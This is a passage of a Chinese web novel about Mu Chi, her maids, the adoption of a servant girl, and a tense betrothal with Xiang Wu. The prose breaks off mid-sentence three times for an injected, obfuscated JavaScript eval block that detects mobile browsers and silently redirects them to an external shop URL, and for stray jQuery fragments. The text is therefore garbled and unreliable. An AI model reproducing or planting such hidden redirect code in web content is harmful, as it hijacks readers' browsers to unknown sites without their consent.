她面黄肌瘦，身上衣服有些宽大，袖子空空的。 那双眼睛倒有神，颜色较浅，像块剔透的琥珀。 她偷偷看了眼慕池，垂眸安静地等着。 慕池：“你叫什么名字？” “以前的名儿不好听，小姐给我取个新名字吧。”小妹声如钟磬。 慕池之前给不少下人起过名字，那时候觉得好玩，她就没多想这个行为的意义。 可这个是青霜的亲妹妹，慕池不愿意拿她当奴才，因此犯难。 “这事儿过些天再说。我当年身子弱，忠武侯送了一块平安锁，我戴过几年，现把它送给你当见面礼，希望你往后能平安顺遂。” 小妹双手接过金锁，沉甸甸的，她还没见过这么大块的金子，这东西一定很值钱。 她刚想跪下给她磕个头，就被慕池拉住手。 “你的手指，怎么了？” 慕池看到她右手小指和无名指的三节骨头并不直，关节处还肿了。 “它不是残废，能活动的，”小妹着急地握拳给她看，”我有劲儿，不怕脏不怕累，什么活儿都能干！” 青霜拉住她的手看：“我忽略了，一会儿就让她去看大夫。你是怎么伤到的？” 小妹看那个天仙样儿的主人没生气，略放下心，小声对青霜道：“我偷他钱去找给娘大夫，被他发现后挨了顿打，砸到手了。” 青霜摸摸她脑袋：“你放心，以后不会了。” 司衡：“小姑娘，你当时可曾请来大夫？” “请来了，但我娘当时已经快不行了，大夫看过后说他也没法子，只开了张药方，后来因为没钱，药都没买，那方子我一直存着，就在我那个小包袱里。” 青霜领会了司衡的意思，高兴得把小妹抱起来转圈。 小妹矜持些，拍拍她的肩膀要求被放下来：“二姐，主人还在呢。” 慕池也为她们开心：“人我见过了，你们去做自己的事吧。” 青霜领小妹坐着马车去看病。 “二姐，你平时出去都可以坐车吗？” “府上有下人专用的车，办公事能用，你现在是小姐院儿里的，给你看病就是公事。” 她把才得的金锁拿出来：“把大姐救出来得很多钱吧，还有买我的钱，这块金子给你。” “这是给你的，你自己拿好，”青霜给她戴上，“这两笔钱都是小姐和刚才问你话的司衡姐姐给的，她们对我很好，也很关心你。” 小妹摸着金锁仔细看，末了把它藏衣服里。 “二姐，你现在叫什么名字？” “青霜。青色的青，霜雪的霜，是一把宝剑的名字。” “真好听，我也想换个名字，可小姐怎么不愿意给我起名呢？她都愿意送我礼物，应该不讨厌我。” “我也不知道，等回去我问问小姐。” “你和小姐关系真好。” “小姐很温柔，她对所有下人都很好，偶尔做错了事，她也不生气；不过侯爷就严格很多，你若哪天碰上侯爷，可千万要小心谨慎。” “侯爷？是小姐的爹吗？” “不是，我慢慢儿给你讲。” …… 司衡盘算着：“青霜说她娘有个兄弟，可以让他去告。再找到开方子的大夫，看看邻居里有没有愿意作证的，陈家小妹也得上回公堂，这事儿才算有了几分把握。” “你做事总是这样可靠。” 司衡被她夸得脸红：“再舍不得我也要走，替我的都找好了，就是双星。” “谁说要拦你了，我给你的将来做了打算。你走后就先住在采芹巷那个宅子里，我再送你笔钱，愿意搏一搏还是提前养老，随你的便。” “对每个人都这么好，这个家迟早被你败掉。” “只有你们两个，再多几个，我的首饰也不够分了。” 司衡觉得感谢的话太过干瘪，暗暗下决心要干出一番事业，才不辜负她这份心。 “咱们院儿里的每个人我都留意过，现在还没有给侯爷办事儿的。你说他怎么就转了性，变得大度起来？”后半句带着笑意，她料定这里面有事。 慕池以为他把自己慌乱之中说出的那三个字当真了。 他每信一分，她就愧疚一分。 不过让人监视她这件事本身也不占理吧，如果他讲理的话。 “他一直想霸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378370|200138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 占你，除了这点，其他都好。多年来你们知道彼此的性子，上面又没有公婆长辈，事端也少。不过我看你似乎还有隐忧……如果你觉得我能帮忙，我保证绝对不会告诉他。” “我不是疑心你，是我自己也没搞清楚。” “那咱们慢慢说，我给你分析分析。”司衡给她倒了杯茶。 “伯父伯母对我有恩，可我知道他们不喜欢我，我和侯爷纠缠在一起，他们不会开心吧。” 司衡不信鬼神：“那要看你更在乎活人还是死人。这种事只关系到两个人的心，你是怀疑他的心，还是不明白自己的心？” 若做个比较，她确实更在乎项梧，只是心里有道坎儿过不去。至于两心…… “都有。” 司衡乐了：“看来侯爷还得加把劲儿。” 慕池拍司衡的手：“不许笑！我很认真跟你说的。” “好吧，那你觉得他不是真心？” “我觉得他年纪小，误把亲近当成了喜欢。” “哈哈哈哈！”司衡爆发出大笑，“对不起，我实在忍不住，哈哈哈！” “哼！” 司衡给项梧办了多年的事，知道他从多小的时候就滋生出了那些阴暗的心思。 项梧平时装得有多好，现在情路就有多坎坷，她感觉莫名畅快。 司衡努力压住了笑意：“小姐是怎样区分的？有没有把误把自己的喜欢当成亲近？” 这个问题把慕池问住了。 “侯爷年纪不小，十五六岁的人都有当爹的。你不过比他大几个月，若觉得他年轻，等七老八十了还是他年轻。再者咱们常居于深宅内院，他可是能往外跑，什么该见的不该见的他都见过，若说把亲近当喜欢也该是你，怎么反疑心这个？” “他都见过什么？” “我是猜的，”司衡还不敢明目张胆污蔑侯爷的清白，“即便是文人清客的聚会，也有个弹曲儿的姑娘，更不要说别的地方。” 慕池眼中蓄泪，怀疑项梧那些轻浮的举动是在外面学了来羞辱她的。 司衡暗道不妙，她这也不是个吃醋的样子，忙换个话题。 “小姐觉得怎么样才是真心？” “我不知道。我觉得从前那样就已经很好了，我不想改变。” 司衡想了想以前和现在的区别，她猜慕池可能是被项梧刺激到了：“你不喜欢和他过分亲近吗？” “嗯。” 现在每每见他总要防备，稍微挨得近些她就心慌，她害怕那些出格的举动。 虽然她全力反抗能够逃脱，可他以性命相威胁怎么办？这招仍旧管用。 “这个简单，我教你！” 司衡给慕池出了个主意，才不管项梧忍了多少年，她现在只在乎慕池是否自在。 慕池：“这么简单就行了？” “只要小姐大胆讲明这些，他肯定没法子。” “那我找个机会试试。” “千万别告诉他是我出的主意。”司衡还是有点怵他。 “这个自然，本来就是我自己的想法。” 慕池打算再做一回饭，让项梧吃别人嘴软到时候不好翻脸，被司衡拦住了，说她这是未战先怯，会被项梧拿捏，随后又叮嘱了几处万不可退让的地方。 22. 认干亲 青霜回来从慕池那儿得到答案告诉小妹，带她过来谢恩。 小妹手上让大夫检查了，说她年纪小，还能恢复，现在已重新接上，右手包了起来。 慕池想到当初的自己，右手骨头也是重新接过的，心里对小妹多了几分怜爱。 慕池摸摸她的小脸儿，她颊上也没多少肉。 “小姐，我给您当干闺女吧！” 司衡爆笑，青霜去捂司衡的嘴。 小妹解释：“我还是想让您给我起个名字。您帮了我们家这么多，以后我保护您，给您养老送终！” 慕池被她的赤诚感动：“你如果愿意，就跟我姓，至于名字，你先进学堂吧，读了书，看看喜欢什么自己定。” “还可以读书？” “当然，不止如此，你还能做更多事。”慕池把家里开的课程都告诉她，每样都想让她试试。 想到她身形瘦小，现在还在养伤，如果做个丫鬟，平时里还有活计，慕池真的动了认她为干闺女的心思。 她看向青霜，想问问她的意思。毕竟真的如此，她们就差辈儿了。 司衡觉得离谱：“小姐，你真动心了？” 陈小妹只是看着小，但她们之间仅差四岁。 慕池：“青霜，你觉得呢？还有你们大姐的意思。” “我也是才知道她这个想法，她年纪虽小，心里有主意，我和大姐毕竟离家多年，也没怎么照顾过她，小姐如果愿意，这是她的福气。“ 慕池：“那我先带她见见侯爷。” 毕竟两人要定亲了，这不算她一人的事。 拉住小妹细看，这孩子头发都是黄的，慕池往她头上戴了几朵绢花。 想到项梧说的那番“嫉妒”的话，慕池觉得他不会轻易同意，于是背着司衡和青霜教了小妹几句话。 项梧回来得早，听到慕池请他，心中诧异。 才刚冒犯过她，本以为她会不愿意见面，不知今天有什么事这么着急。 项梧倒不想过去了。 双星：“小姐，侯爷说他有些头疼，今天就不来了。” “可请了大夫？” 慕池不知道真假，项梧从来康健，怎么忽然头疼了。 双星：“没有，侯爷说他先休息会儿。” “我去看看。“ 司衡见她着急，不好阻拦，留了个心眼：“小姐，侯爷若是难受，那件事可千万改日再说。” 慕池和司衡到了枕云轩。 项梧躺在床上，头上绑了白色抹额，脸色也苍白，见慕池到了，挣扎着起身。 “快躺好，这是怎么了？” 项梧声音虚弱，拉住她的手：“想是昨天夜里着凉了，不碍事的，劳你亲自来一趟。你刚才让人请我，不知道是什么要紧事？” “都病成这样了，还想自己熬着，这么不爱惜身体，我让人请大夫来。” “真不碍事的，有你来看，我好受多了。” “咳—”司衡憋不住笑，用咳嗽遮掩。 项梧：“司衡，你出去吧。” “别，留下。”慕池拦着，她不想和项梧独处。 “你不是有事对我说吗？” “我想让你见个孩子，但现在怕是不方便。” “让司衡把人带来吧。” “你真没事吗？”慕池不放心。 项梧拉着她的手探向额头：“不信你摸摸，没有发热，只是有点累罢了。” 慕池这才让司衡去。 “我也出去等着，你把衣服穿好。”慕池也欲离开。 “我有些乏力，你帮帮我吧。” 慕池停住了脚步，本不该答应，可这个人又是她强要项梧见的，于是就不好拒绝。 慕池扶他起来穿衣。 整理袖子时，项梧忽然说：“以后我们一起起床，你也会这样帮我吗？” “你自己穿！”慕池气愤地离开了。 项梧喜欢她害羞的模样，喜欢她生气又不舍得伤害他的模样。 他把衣服穿好，解开抹额扔到桌上，出去后看见慕池揽着一个枯黄的孩子。 “他就是侯爷。”慕池给那孩子介绍。 “干娘，干爹！” “你这孩子，嘴真甜。”这话虽然是慕池安排的，听到的时候还是脸颊发烫。 项梧明白了她的意思，故意板着脸坐下。 “她是青霜的小妹，聪明伶俐，我瞧着喜欢，就想收为干女儿，带来让你见见。” 项梧上下打量了她一番，皱眉道：“我没看出她哪儿好，还带着伤，这事儿算了吧。” “干爹，干娘说您最好了，还说她想做什么你都会答应，所以才愿意和您在一起。您今天不答应，想是得到了就不懂得珍惜，干娘会伤心的！” 慕池听不下去这种话，偏过头去，好似真的在伤心。 项梧本来就没打算真拦着，慕池不能生育，她愿意养个孩子也好，不过这个孩子大了点。 “你几岁了？” “我今年十三。” 这个年纪确实太大了，好在不粘人。 “我同意了，去问问你干娘还伤心吗？“ “干娘，干爹让我问你还伤心吗？ 慕池对她一笑。 “干娘说不伤心了！” “好孩子，你下去玩吧，我同你干娘商量点事。” 慕池也让她回去。 “咱们还未成婚，你怎么提前教孩子说这些？”项梧明明很开心，却故意臊她。 “你若不喜欢，我叫她改口。” 项梧自己推翻自己的话：“改什么口？早晚都得这样叫。我另给她安排个院子，告诉下人们府上多了位小小姐。她改姓吗？跟我还是跟你？” “她跟我姓，名字我让她自己想。” “好，你也别太娇惯她，咱们有一个孩子就够了，下次别看到谁都心软。” “她很好的。”慕池把干女儿的事一气儿告诉他。 “世上可怜人多的是，哪能每个都管呢？明天三姨母会来一趟，作为咱们的媒人向你提亲，婚书和聘礼也都备好，依你的意思，这次就不宴宾客，咱们自己庆祝。” “我知道了，打扰你这些时候，你用了晚饭再好好休息吧。” 临别时慕池看着他，项梧挺拔如松，泠然若雪，她想象不出他在酒会上和女人厮混的样子，但他分明又做出过孟浪的事。 项梧见她停下回看：“还有事吗？” 今天他应该累了，不是个好时机。 “没。” “再坐会儿吧。” “不了。” 慕池和司衡回到栖霞阁。 司衡：“小姐，你没和他说那件事吧。” “没有，不过你为什么不让我说？” “若在这种情况下说了，事情肯定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378371|200138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 办不成。” “你怎么知道？” “今日他病着，咱们又求他一事，再商量这件事，他也不用反对，咳嗽两声你就心软了。” 慕池想了想，还真有可能这样。 “我本来就不占理，心里实在没底。” “小姐，情与理是两码事，你若一时委屈了自己，才是伤了你们之间的情分，”司衡继续劝，“你说不占理，什么是理？男人三妻四妾是理，这是人理，而非天理。人理由人定，必然掺杂私心，咱们何必把自己套进别人的壳子里？” “说句不敬的话，我瞧侯爷也没什么好的，只有‘知心’这一点难得，他若不体谅你，你也别在意他了。” 慕池长叹一声，若真能不在意，当日怎么会被他威胁？ 司衡恨铁不成钢：“你这个模样，怎么能成事呢？” “我知道自己的心，只要求这一件事，咬定这点，不和他理论别的就是了。” “小姐，以后我们分别了，你遇上事也千万别先想‘理’，先想想自己的心。” 慕池笑她：“我受教了，但不知将来谁会走到你的心里。” “我好意给你出主意，你反而调笑我？真是可恶！你不立起来，将来一辈子都会被他吃得死死的。” 两人说笑一阵，才罢议此事。 项梧说的三姨母是永昌伯夫人，她为人直爽泼辣，慕池去过她家，只不过因为是姨母，倒不如舅舅家走得近。 次日她来了，把流程走完，又去栖霞阁和慕池说体己话。 “你妹妹们听说我要来这儿，一个个也嚷着来，被我给骂回去了。她们就让我给你带来了些小玩意儿。” “我也想妹妹们了，改日定去府上拜访。” 三姨母笑道：“自打你比武招亲起，她们就跟疯了似的，说自己将来也要这样，我说她们没本事，你猜她们怎么说，她们说‘我们没本事就不自己比，只要定好规则让他们去比就行了’，要是选不出好的，她们也不将就。” “是我带坏了妹妹们。”慕池比武招亲本来就是故意张狂，现让亲近的人说出来，羞红了脸。 “怎么会？我倒愿意那几个宝贝在家里陪着，教我每日都有趣儿，也免得将来分离，还要担心别人给她们气受。梧儿性子好，家里一向是你做主，倘若他哪天糊涂犯浑，你只管让人去告诉我，我来说他。” 姨母对妹妹们好，她心中羡慕，只恨自己没托生到她们家，今见她待自己亲近，自然十分欢喜。 “您这么说，我可就当真了，他让我生气，我就要去找您要个交代。” “他敢这样，你先打他一顿就是，再请我过来骂他，免得心里憋气。” “他一个读书人，您就不怕我打坏喽？” “只要你舍得！哈哈哈！”三姨母笑罢又叹起来，“可怜你们家中没了长辈，自小相互扶持，还都这么有出息。前几年你病着，现在才好起来就要涉险，去那种虎狼之地……” “夫人别担心，此次领兵的元帅是项伯父的旧友，比武招亲时就帮过忙，我在他麾下，会受其照拂。” “傻孩子，我怕的是山匪凶蛮。” “夫人，我想天下之事有舍才有得，这是我朝思暮想的东西，我愿意为它拼上性命。” “你得了公主青眼，有这样大的机缘，也一定吉星高照，平平安安回来。” “有大家的祝愿，我会平安的。” 23. 周公之礼 慕池送走三姨母，接交换庚贴、婚书后就是受聘了。 多年来一直是慕池在管家，一应金银礼品不过是东屋到了西屋，自不必提。 慕池收拾了心情，决定在今天和他坦白。 话到嘴边，看着他欢喜，慕池的心怦怦乱跳。 她屏退丫头，只留司衡在屋外近处，大开屋门，和项梧说话。 “今天姨母来你们都说了什么？” “姨母说了妹妹们的事，还带了她们的礼物，又嘱咐我此去要小心。”慕池回忆着交代出来。 “只是这些吗？没有提到我？” 她刻意漏了这个。 “我有事和你商量，不，有事要告诉你。” 项梧看她神色，觉出这不是件好事。 他先发制人：“木已成舟，你此刻想退亲已不能了，我不会接受。” “不是这事，”慕池的话堵在喉头，“我……” 项梧等着她说出来。 慕池强忍羞耻，想到此事如果不说，将来就要做，那时候更难办，于是放胆说出口：“我不要行周公之礼，包括成亲后。” “这不是商量。”慕池又强调一遍。 “什么？” “我是在说我自己，不拦着你找别人。”慕池偏过头。 项梧严肃地审问她：“你是从哪儿知道的周公之礼？又知道多少？” 慕池被噎住，色厉内荏：“不用你管！” 项梧换了个问法：“我不明白这个，劳你解释解释。” 慕池狐疑，但为了把这个事说清楚，还是听话解释了：“那个就是……不可以有肌肤之亲。” “肌肤之亲？我们小时候就手拉手一起玩了，“项梧恍然大悟，”原来那时候就有了肌肤之亲，行了周公之礼。” 慕池喝止：“不是！“ “我说得不对吗？那是什么？你告诉我。” 慕池：“你不用装傻，你若不知道，怎么在卧房对我做出那种事。” “姐姐说的是哪一次？在你的卧房还是我的卧房？我们做了什么？” 慕池：“比武结束的那天晚上，那个就是肌肤之亲。” “我不过是遵从本心，这有什么错？” “或许，是我……不配吗？” 那天她挑破祁江的衣服，项梧不由得想如果换做是他慕池会不会愿意。 项梧央求她：“你有什么不满，告诉我，我改了好不好？” 慕池声音冷硬：“不仅如此，往后连过分的亲密也不要有了。” 项梧神色一变，走到慕池面前撩袍跪下。 慕池见他行大礼，赶忙站起来，却被他紧紧怀抱住双腿。 “你偏心，若是祁江，你还会这样吗？” 慕池被他绕进去，真想了这个问题，但她觉得自己还是不喜欢。 想到司衡的嘱咐，她说了句：“你不是爱我吗？我不想这样做，你难道要逼我不成？” 项梧抬头看她，像只被遗弃的大犬。 慕池受不了，去推他的肩膀：“现在就已经太过了。” 项梧急昏头：“为什么不要，姐姐那晚明明很开心。” “什么？”这回轮到慕池听不懂了。 项梧把头埋在她的腰侧，闷声道：“放榜那天晚上，我们都醉了，发生了什么，你真的没有一点记忆吗？” 口子被打开，那些被刻意隐藏的部分如潮水一般涌出。 是了，如果是做梦，怎么会那么真切？那么……荒唐。 她记得自己醉倒在他的怀里，两人的脸贴得很近，项梧的手不知放在何处。 她昏醉了，想项梧也是如此。 “既是醉酒铸成错事，就该引以为戒，何必再提。” 项梧脱口而出：“倘若我没醉呢？” 慕池不知道该如何看他，原来以为去要信那晚是开端，不曾想还要更早。 “你不该这样。” “你后腰上有颗痣，就在这里，姐姐自己知道吗？” 项梧的指尖流连，带起一片涟漪，慕池不备轻呼出声，羞得脸颊通红。 他怎么知道这样隐私的事？ “不要说了！” “当时姐姐在笑，应该很舒服，像刚才一样、舒服。” 慕池打了他一巴掌，声音清脆，在白皙的皮肤上留下红痕。 她马上就后悔了。 项梧委屈：“这是你第一次打我。” 司衡听见争执声过来，看到她们这样，远远停住脚步，注意着不让其他人靠近。 项梧：“不要拒绝我，好吗？” 她醉酒失态，项梧作为弟弟就该唤来丫鬟，离开避嫌，怎么能做出糊涂事呢？ “你怎么变成这样……” “没有变，我从来如此，很早就开始觊觎姐姐，是姐姐太笨才没发现。” 事已成，再多苛责也无用，慕池没忘了自己的目的：“过去的事不必再提，今后就依我的规矩，我说不许就是不许。” 她推开他。 项梧站起来俯视她，眼里布满阴翳：“那我问姐姐，是独我一人不许，还是其他人都不许？” 慕池远离他：“我又不能有三妻四妾，你在担心什么？” “你若敢有，我绝对杀了他。” 他可是朝廷命官，说话这样狠决，就不顾自己前程吗？ 慕池承诺：“这事儿是我不愿，谁都不会。” “好，我也答应你。” 他果然守信，自此之后规矩了很多，仿佛回到了最开始还没捅破窗户纸的时候。 只是慕池心里终究有个疙瘩，反不如他自然。 项梧给女儿取了个小名，叫修篁。 他待女儿极好，闲时总亲自教导。 慕池乐见其成，万一自己出事了，倒还有个孩子可以让他分神，但反过来一想，又觉得自己有些残忍。 慕池带着李质真送的战旗到韩夫人家里炫耀了一次，故意让祁元帅父子看见，羞臊他们一顿。 司衡和青霜的事情已经办完，只是青霜要和她一起从军，司衡还帮青霜操心着告状的事，三人还没有分别。 慕池决定临行前去万佛寺一趟。 她轻装简从，和青霜纵马前往。 这次捐的银子少，又未表明身份，她们明显感觉出知客僧的态度变化：原来必定有僧人殷勤带路介绍，现在竟是连半句话也不肯多说，像极了佛祖的金身。 慕池这次来不为祈福，而是想问问佛祖，她若在战场上沾满鲜血，是否会被厌弃。 佛家讲究轮回，此世作恶来世才有报应，太慢了。 她今率兵杀贼，那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17381821|200138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些死在她手里的贼子，不知道是不是前世造孽；或者说这些人命得算在慕池头上，作为她今世的罪行。 她其实不懂佛理，以前不过是模仿着伯母的样子参拜，拜着拜着，就把自己给骗了。 倘或她死于人手，也是前世造孽的缘故吗？ 正想着，忽听得外面传来嘈杂声，似乎是……有人打起来了。 香客们怕被伤到，争相离开，武僧们都往这边赶。 慕池和青霜出去，是一群人手持棍棒绑了个僧人，武僧们正阻拦他们离开，两拨人已经动手。 为首的人大声叫嚷“他不是和尚，是个逃犯”。 慕池和青霜冷眼看着。 为首的人有些功夫，他带的随从不过平常。 他们人数又少，已经被眼前武僧缠住，其他人正在赶来，结局可想而知。 他们不是官兵，声称捉犯人，武僧阻拦也没错。 一开始选择将人绑起来而非直接杀害，应该是想送去见官。 不多时，被抓住的和尚已经脱离控制，打算趁乱溜走。 那人无可奈何，只一边迎击一边大喊：“奸贼！恶贼！” 慕池和青霜叫住逃跑的僧人。 他被吓了一跳，回身施礼：“施主，这里有人闹事，你们两个弱女子还是快走吧。” 慕池：“你被人冤枉，就不想留下辩白辩白？” “不过一个俗人，我与他有什么话说。知道我清白的，只有佛祖罢了，阿弥陀佛。” 那僧人说完就要走。 青霜拦住他，二人交手。 僧人有几分本事，在青霜手下过了十几招。 那边闹事的人全被拿住，她这里也捆下疑犯。 “师父救我！他们是一伙的！”僧人大喊求救。 觉明和尚走过来，他比上次见到时更有福相了。 “施主有礼，这位是贫僧弟子广德，您认错人了。” “他左手心有个两寸长的疤，为我娘子所伤，没有认错！他就是奸贼！”被按住的中年男子大声叫嚷。 青霜掰开广德手心，果然如此。 “师父，这是我出家前习武不小心伤到，您别听他胡说。” “阿弥陀佛，这里是万佛寺，自会有主持辨明真相，施主怎可偏听冤枉好人？” 觉明说完，就有一二十个武僧围上来。 慕池厉声斥骂：“大胆！我是皇上亲封的剿匪先锋，出征在即，你们敢对我动手，莫非暗中通匪！” 觉明神色如常：“副典军大人，那些平民不知道就罢了，您应该知道万佛寺的倚仗，贫僧不怕这个。“ 真是好一个出家人。不仅知道京中新鲜事，还如此熟练地暗中敲打。 怕只怕她今日真的放走一个恶贼。 “你们不是要保他吗？若敢上前一步我就杀了他！” 倘若是怕这个人身份暴露带累了万佛寺的名声，他们不会在意性命，但倘若这个人是某个大人保下的，他们就会有所忌惮。 “事情尚未明朗，大人就不怕造成冤屈吗？” “我让你们送他见官，你们肯否？” “阿弥陀佛，贫僧去请示主持，再给大人一个答复。”觉明走了。 此时此刻，她不免以最大的恶意去揣度，她在赌，赌这群僧人不会下杀手。